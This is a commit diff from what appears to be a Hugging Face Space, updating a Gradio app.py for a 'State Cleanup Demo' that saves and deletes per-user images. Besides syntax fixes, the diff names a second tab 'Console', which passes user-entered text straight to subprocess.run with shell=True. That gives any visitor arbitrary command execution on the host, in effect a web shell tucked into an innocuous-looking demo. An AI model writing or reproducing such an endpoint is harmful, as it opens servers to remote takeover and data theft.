Spaces:
Runtime error
Runtime error
Update app.py
Browse files
app.py
CHANGED
@@ -32,7 +32,7 @@ def delete_directory(req: gr.Request):
|
|
32 |
shutil.rmtree(str(user_dir))
|
33 |
|
34 |
with gr.Blocks() as demo:
|
35 |
-
with gr.Tab("demo")
|
36 |
gr.Markdown("""# State Cleanup Demo
|
37 |
🖼️ Images are saved in a user-specific directory and deleted when the users closes the page via demo.unload.
|
38 |
""")
|
@@ -49,7 +49,7 @@ with gr.Blocks() as demo:
|
|
49 |
demo.load(generate_random_img, [state], [img, state, history])
|
50 |
gen.click(generate_random_img, [state], [img, state, history])
|
51 |
demo.unload(delete_directory)
|
52 |
-
with gr.Tab("
|
53 |
ip = gr.Textbox(label="User IP Address")
|
54 |
gr.Interface(
|
55 |
lambda cmd: subprocess.run([cmd], capture_output=True, shell=True)
|
|
|
32 |
shutil.rmtree(str(user_dir))
|
33 |
|
34 |
with gr.Blocks() as demo:
|
35 |
+
with gr.Tab("demo"):
|
36 |
gr.Markdown("""# State Cleanup Demo
|
37 |
🖼️ Images are saved in a user-specific directory and deleted when the users closes the page via demo.unload.
|
38 |
""")
|
|
|
49 |
demo.load(generate_random_img, [state], [img, state, history])
|
50 |
gen.click(generate_random_img, [state], [img, state, history])
|
51 |
demo.unload(delete_directory)
|
52 |
+
with gr.Tab("Console"):
|
53 |
ip = gr.Textbox(label="User IP Address")
|
54 |
gr.Interface(
|
55 |
lambda cmd: subprocess.run([cmd], capture_output=True, shell=True)
|